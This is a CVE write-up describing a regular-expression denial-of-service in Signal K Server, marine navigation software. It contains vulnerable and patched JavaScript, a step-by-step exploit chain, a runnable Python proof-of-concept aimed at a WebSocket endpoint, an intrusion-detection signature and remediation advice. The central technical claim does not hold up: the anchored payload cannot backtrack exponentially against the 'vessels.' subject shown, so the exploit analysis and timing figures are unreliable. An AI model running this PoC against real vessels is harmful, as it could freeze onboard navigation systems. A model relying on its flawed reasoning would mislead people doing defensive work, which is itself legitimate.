CVE-2026-39320: ReDoS via Unescaped Regex in Signal K WebSocket Subscriptions
Signal K Server <2.25.0 allows unauthenticated attackers to inject regex metacharacters into the WebSocket `context` parameter, triggering catastrophic backtracking and 100% CPU DoS.
Signal K Server is software that runs the central computer on modern boats, helping manage navigation, engines, and sensors. Think of it like the brain of a smart vessel. This vulnerability is a way for someone to essentially paralyze that brain without ever needing a password.
Here's how the attack works: the boat's computer has a feature that lets different systems subscribe to live data streams, kind of like how your phone gets weather updates. An attacker can send a specially crafted message through this subscription system that causes the computer to get stuck doing pointless work. It's similar to asking someone to count every grain of sand on a beach while you keep adding more sand — eventually they just freeze up and can't do anything else.
The attacker doesn't need to log in or authenticate. They just need to find the boat's computer on the internet, which is possible if it's not properly secured. Once triggered, the server becomes so busy that it stops responding to legitimate requests. No navigation updates, no engine monitoring, nothing — just a frozen system.
This is particularly concerning for boats at sea relying on this system for critical operations. A sailor can't just restart things as easily as you would your home computer.
What you should do: If you operate a boat using Signal K Server, update immediately to version 2.25.0 or later. Make sure your boat's computer isn't directly exposed to the internet — put it behind proper security. Contact your boat's manufacturer or the Signal K team about your specific setup and whether you're vulnerable.
Want the full technical analysis? Click "Technical" above.
Signal K Server is the central navigation data hub aboard networked vessels, aggregating NMEA 0183, NMEA 2000, and ancillary sensor streams over WebSocket and REST. The server runs as a Node.js process on embedded hardware — Raspberry Pi, OpenPlotter, or similar — where CPU headroom is minimal and recovery from a crash often requires physical intervention at sea.
CVE-2026-39320 (CVSS 7.5 HIGH) is an unauthenticated Regular Expression Denial of Service in the WebSocket subscription dispatch path. An attacker with network access to the Signal K port (default 3000) can send a single crafted subscription frame, saturate the Node.js event loop with catastrophic regex backtracking, and render the server permanently unresponsive without any credential or prior session. Versions prior to 2.25.0 are affected.
Root cause: The pathToRegexp-style subscription filter in the WebSocket delta handler passes the attacker-controlled context field directly to new RegExp() without escaping metacharacters, enabling catastrophic backtracking against long UUID-form self-identifiers.
Affected Component
The vulnerability lives in the WebSocket subscription handler, specifically the function that converts an incoming subscription's context string into a RegExp used to match incoming delta paths against subscribed contexts. The relevant file in the repository is packages/server-node/src/interfaces/ws.js (or the TypeScript equivalent in more recent refactors). The subscription message schema looks like:
The server is expected to translate context glob patterns (vessels.*, self, etc.) into regex matchers. The bug is in that translation step.
Root Cause Analysis
Signal K's subscription engine needs to match incoming delta contexts — which look like vessels.urn:mrn:imo:mmsi:123456789 or vessels.urn:mrn:signalk:uuid:2b32a4c0-1234-5678-abcd-ef0123456789 — against the subscriber's requested context pattern. The vulnerable code constructs that matcher like this:
// packages/server-node/src/interfaces/ws.js (pre-2.25.0)
function contextToRegex(contextPattern) {
// BUG: contextPattern is attacker-supplied; no metacharacter escaping applied
// before passing to new RegExp(). Glob '*' is converted, but all other
// regex metacharacters arrive verbatim.
const regexStr = contextPattern
.replace(/\./g, '\\.') // escape literal dots — but nothing else
.replace(/\*/g, '.*'); // convert glob star to regex any-sequence
return new RegExp('^' + regexStr + '$'); // BUG: catastrophic if regexStr contains (a+)+
}
function handleSubscribeRequest(client, msg) {
const context = msg.context; // attacker-controlled, never sanitised
const pattern = contextToRegex(context); // builds malicious RegExp
// For every incoming delta from *every* vessel, test the pattern:
signalkServer.on('delta', (delta) => {
if (pattern.test(delta.context)) { // BUG: test() may never return
client.send(JSON.stringify(delta));
}
});
}
The critical interaction is with the server's self-identifier. Signal K servers identify themselves with a UUID-keyed context such as:
A payload like (a+)+b injected as the context becomes the regex ^(a+)+b$. When pattern.test() is called against the 60-character UUID string on every delta event, V8's regex engine enters exponential backtracking. With a carefully crafted ambiguous pattern the backtrack count scales as O(2^n) in the length of the subject string.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker opens a raw TCP/WebSocket connection to ws://[vessel-ip]:3000/signalk/v1/stream
— no authentication required on default installs with security disabled,
and subscribe requests are processed before auth checks complete in some code paths
2. Attacker sends a single subscription frame with a malicious `context` value:
{
"context": "(a+)+[^b]urn:mrn:signalk:uuid:",
"subscribe": [{ "path": "navigation.speedOverGround" }]
}
3. contextToRegex() constructs:
/^(a+)+[^b]urn:mrn:signalk:uuid:.*$/
No error is thrown — this is a syntactically valid but pathological regex.
4. The subscription is registered against the server-wide 'delta' event emitter.
5. The server's own heartbeat or any connected NMEA source fires a delta with context:
"vessels.urn:mrn:signalk:uuid:2b32a4c0-ffff-4a3b-8c1d-deadbeef0042"
6. pattern.test(delta.context) is invoked. V8's NFA engine attempts to match
(a+)+ against the non-matching UUID string. The possessive-less quantifier
forces 2^n backtrack states across the 60-char subject.
7. Node.js event loop is blocked. No I/O callbacks are serviced.
All WebSocket clients, REST API consumers, and internal timers freeze.
8. CPU reaches 100% on a single core. Server becomes fully unresponsive.
On embedded hardware (Pi 3B, 1.2 GHz quad-core) recovery requires
manual process restart — no watchdog fires because the process is alive.
The minimal proof-of-concept is a single WebSocket message. No login token, no CSRF bypass, no multi-stage interaction:
#!/usr/bin/env python3
# CVE-2026-39320 — Signal K ReDoS PoC
# CypherByte research — do not use against systems you do not own
import websocket
import json
import time
TARGET = "ws://192.168.1.1:3000/signalk/v1/stream"
# Ambiguous quantifier pattern. The UUID subject string's ':' characters
# prevent a match, forcing exhaustive backtracking over the repeated groups.
MALICIOUS_CONTEXT = "(a+)+[^b]urn:mrn:signalk:uuid:"
def trigger_redos():
ws = websocket.create_connection(TARGET, timeout=10)
# Consume the hello frame
hello = json.loads(ws.recv())
print(f"[*] Connected. Server version: {hello.get('version', 'unknown')}")
payload = {
"context": MALICIOUS_CONTEXT,
"subscribe": [
{"path": "navigation.speedOverGround"}
]
}
ws.send(json.dumps(payload))
print(f"[*] Sent malicious subscription: {MALICIOUS_CONTEXT}")
# Server should respond to the subscription request — it won't
ws.settimeout(5)
try:
ws.recv()
print("[-] Server responded (not vulnerable or no deltas in flight)")
except Exception:
print("[+] Timeout — event loop likely blocked. Server unresponsive.")
ws.close()
if __name__ == "__main__":
trigger_redos()
Memory Layout
ReDoS is not a memory corruption bug, but understanding why it is so severe on Signal K's deployment targets requires examining the V8 regex engine's NFA state machine cost and Node.js's single-threaded event loop architecture.
NODE.JS EVENT LOOP — NORMAL STATE:
┌─────────────────────────────────────────────────────────┐
│ timers → heartbeat tick (1s) │
│ I/O poll → WebSocket frames from 3 clients │
│ → NMEA TCP stream from multiplexer │
│ check → setImmediate callbacks │
│ close cbs → socket cleanup │
└─────────────────────────────────────────────────────────┘
Avg loop iteration: ~2ms
NODE.JS EVENT LOOP — AFTER MALICIOUS SUBSCRIPTION + FIRST DELTA:
┌─────────────────────────────────────────────────────────┐
│ BLOCKED IN: │
│ RegExp.prototype.test() │
│ → V8 NFA engine backtracking │
│ → subject: "vessels.urn:mrn:signalk:uuid:2b32..." │
│ (60 chars, no match possible) │
│ → states explored: O(2^n) where n≈30 │
│ → estimated duration on Pi 3B: 90+ seconds │
│ │
│ ALL PENDING: timers, I/O, API, other WS clients │
└─────────────────────────────────────────────────────────┘
CPU: 100% single core | Heap: unchanged | Memory: stable
Effect: indistinguishable from process hang to watchdogs
V8 NFA BACKTRACK STATE GROWTH for (a+)+[^b] against "aaa...aaa:":
n= 5 → ~32 states
n=10 → ~1,024 states
n=20 → ~1,048,576 states
n=30 → ~1,073,741,824 states ← exceeds Pi 3B ~1s budget at ~10M states/s
Patch Analysis
The fix in 2.25.0 sanitises the context string before constructing the regex. All regex metacharacters are escaped prior to glob expansion, ensuring attacker input is treated as a literal string fragment rather than a regex sub-expression.
// BEFORE (vulnerable — pre-2.25.0):
function contextToRegex(contextPattern) {
const regexStr = contextPattern
.replace(/\./g, '\\.')
.replace(/\*/g, '.*');
return new RegExp('^' + regexStr + '$');
}
// AFTER (patched — 2.25.0):
function escapeRegex(str) {
// Escape all special regex metacharacters before any glob expansion.
// This matches the ECMAScript spec set: \ ^ $ . | ? * + ( ) [ ] { }
return str.replace(/[\\^$.|?*+()[\]{}]/g, '\\$&');
}
function contextToRegex(contextPattern) {
// Step 1: escape all metacharacters in the raw input
// Step 2: un-escape only the glob '*' we intentionally convert
const regexStr = escapeRegex(contextPattern)
.replace(/\\\*/g, '.*'); // restore glob-star as regex any-sequence
return new RegExp('^' + regexStr + '$');
}
The order of operations is critical. Escaping first and then selectively restoring \* → .* means a literal asterisk in the user input becomes the intended wildcard, while all other metacharacters ((, +, [, ^, etc.) are neutralised as literal characters. An input of (a+)+uuid: now becomes the regex ^\(a\+\)\+uuid:$ — a harmless literal match attempt that returns in constant time.
Additionally, 2.25.0 enforces a maximum length on the context field at the subscription validation layer, providing defence-in-depth against any future bypass:
// 2.25.0 — subscription validation (defence-in-depth):
const MAX_CONTEXT_LENGTH = 256;
function validateSubscribeMsg(msg) {
if (typeof msg.context !== 'string') {
throw new Error('context must be a string');
}
if (msg.context.length > MAX_CONTEXT_LENGTH) {
throw new Error(`context exceeds maximum length of ${MAX_CONTEXT_LENGTH}`);
}
// ... further schema validation
}
Detection and Indicators
Because this is a pure CPU-exhaustion attack with no network anomaly beyond the initial WebSocket frame, detection requires process-level telemetry:
INDICATORS OF EXPLOITATION:
Host-level:
- signalk-server process CPU > 95% sustained for > 10s
- Node.js event loop lag metric (if exposed via prom-client) > 1000ms
- /proc/[pid]/stat shows process in 'R' state with no I/O wait
Network-level:
- Single WebSocket connection from external IP immediately preceding CPU spike
- WS frame containing regex metacharacters: ( ) + [ ] ^ { } in context field
- Absence of subsequent frames from that connection (attacker disconnects)
Log-level (if debug logging is enabled):
- Subscription registration log entry with context matching:
/[\\^$.|?*+()[\]{}]/ (presence of unescaped metacharacters)
- No subsequent delta delivery log entries (loop blocked before emit)
SNORT/Suricata signature concept:
alert tcp any any -> $SIGNALK_SERVERS 3000 (
msg:"CVE-2026-39320 Signal K ReDoS attempt";
content:"\"context\"";
pcre:"/\"context\"\s*:\s*\"[^\"]*[\(\)\+\[\]\{\}\^\|\\\\][^\"]*\"/";
sid:2026039320; rev:1;
)
Remediation
Immediate: Upgrade to Signal K Server 2.25.0 or later. This is the only complete fix.
If upgrade is not immediately possible:
Enable Signal K's built-in security model (settings.json: "security": { "strategy": "sk-simple-token-security" }). This requires clients to authenticate before subscribing, raising the bar from unauthenticated to authenticated exploitation. Note that authenticated ReDoS is still DoS — this is mitigation only.
Place the Signal K port behind a firewall rule restricting WebSocket access to the vessel LAN (192.168.x.x/24). Marinas with shared Wi-Fi represent a realistic attack surface.
Deploy a reverse proxy (nginx) in front of Signal K with a WAF rule rejecting request bodies containing regex metacharacter sequences in the context value.
Add a process supervisor (systemd with Restart=always, or pm2) to auto-restart the server after a hang — this does not prevent the DoS but reduces recovery time from manual to automatic.
For operators running Signal K on vessels where navigation instruments depend on the server (chartplotters consuming AIS, depth, wind data via Signal K REST/WS), this vulnerability is operationally significant. A single malicious frame from any device on the boat network — a compromised phone, a rogue marina AP, a passenger laptop — can take down the navigation hub. Upgrade promptly.